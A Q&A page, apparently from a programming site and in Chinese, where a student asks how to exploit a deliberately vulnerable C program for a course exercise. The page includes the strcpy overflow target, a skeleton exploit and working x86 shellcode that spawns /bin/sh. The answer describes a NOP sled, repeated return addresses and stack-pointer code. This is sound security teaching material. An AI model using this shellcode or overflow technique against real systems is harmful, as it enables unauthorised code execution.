故意缓冲区溢出漏洞程序

时间:2010-10-05 03:28:23

标签: buffer buffer-overflow exploit shellcode

我正在尝试为我的一个comp sci课程找出这个问题,我已经利用了所有资源但仍有问题,如果有人可以提供一些见解,我会非常感激。

我有这个“目标”我需要使用缓冲区溢出漏洞来执行execve(“/ bin / sh”)。在buf [128]的溢出中,当执行unsafe命令strcpy时,返回缓冲区的指针出现在系统期望找到返回地址的位置。

target.c

int bar(char *arg, char *out)
{
 strcpy(out,arg);
 return 0;
}

int foo(char *argv[])
{
 char buf[128];
 bar(argv[1], buf);
}

int main(int argc, char *argv[])
{
 if (argc != 2)
 {
  fprintf(stderr, "target: argc != 2");
  exit(EXIT_FAILURE);
 }
 foo(argv);
 return 0;
}

exploit.c

#include "shellcode.h"

#define TARGET "/tmp/target1"

int main(void)
{
  char *args[3];
  char *env[1];

  args[0] = TARGET; args[1] = "hi there"; args[2] = NULL;
  env[0] = NULL;

  if (0 > execve(TARGET, args, env))
    fprintf(stderr, "execve failed.\n");

  return 0;
}

shellcode.h

static char shellcode[] =
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  "\x80\xe8\xdc\xff\xff\xff/bin/sh";

我知道我需要用超过128个字节填充argv [1],128以上的字节是返回地址,应该指向缓冲区,以便执行/ bin / sh。到目前为止这是正确的吗?有人可以提供下一步吗?

非常感谢您的帮助。

1 个答案:

答案 0 :(得分:5)

好吧,所以你希望程序执行你的shellcode。它已经是机器形式,因此它已准备好由系统执行。您已将其存储在缓冲区中。所以,问题是“系统如何知道执行我的代码?”更准确地说,“系统如何知道在哪里寻找下一个要执行的代码?”在这种情况下,答案是您正在谈论的返回地址。

基本上,你走在正确的轨道上。你试过执行代码吗?在执行此类漏洞利用时,我注意到的一件事是它不是一门精确的科学。有时,内存中还有其他内容,您不希望它们存在,因此您必须增加添加到缓冲区中的字节数,以便正确地将返回地址与系统期望的位置对齐。

我不是安全专家,但我可以告诉你一些可能有帮助的事情。一个是我通常包含一个'NOP Sled' - 基本上只是一系列0x90字节,除了在处理器上执行'NOP'指令之外什么都不做。另一个技巧是在缓冲区的末尾重复返回地址,这样即使其中一个覆盖了堆栈上的返回地址,您也可以成功返回到所需的位置。

所以,你的缓冲区看起来像这样:

| NOP SLED | SHELLCODE |重复的返回地址|

(注意:这些不是我的想法,我是通过Jon Erickson的Hacking:The Explo of Exploitation获得的。如果你有兴趣了解更多这方面的话,我推荐这本书。)

要计算地址,您可以使用类似于以下内容的内容:

unsigned long sp(void) 
{ __asm__("movl %esp, %eax");} // returns the address of the stack pointer

int main(int argc, char *argv[])
{
    int i, offset;
    long esp, ret, *addr_ptr;
    char* buffer;

    offset = 0;
    esp = sp();
    ret = esp - offset;
}

现在,ret将保存您想要返回的返回地址,假设您将缓冲区分配到堆上。